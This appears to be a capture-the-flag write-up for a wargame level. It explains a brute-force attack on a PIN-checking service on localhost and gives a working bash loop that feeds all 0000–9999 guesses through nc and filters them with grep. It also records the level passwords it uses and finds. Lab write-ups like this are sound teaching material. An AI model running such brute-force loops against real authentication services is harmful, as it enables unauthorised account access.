Concept
Brute-Force Attack: Automating exhaustive testing across a space of possibilities (0000-9999) to exploit an authentication weakness that lacks rate limiting.
Key Commands
{0000..9999}: Bash brace expansion to generate sequences with leading zeros.nc localhost [port]: Establishes a TCP connection to send and receive data.grep -v "string": Filters output to hide noise and show only the successful result.
Walkthrough
To avoid seeing 9,999 “Wrong” messages, I filtered the response with grep. I only wanted to see when the server said something different (like “Correct” or the new password):
for i in {0000..9999}; do echo "gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 $i"; done | nc localhost 30002 | grep -v "Wrong"grep -v "Wrong": The -v flag in grep means “invert match.” It tells the terminal: “Show me everything EXCEPT what says ‘Wrong’.”
Lessons Learned
I learned the importance of Rate Limiting. If this server had blocked my IP after 3 failed attempts, this attack would have been impossible. I also perfected command chaining to process large volumes of data efficiently.
Pass 25
iCi86ttT4KSNe1armKiwbQNmB3YJP3q4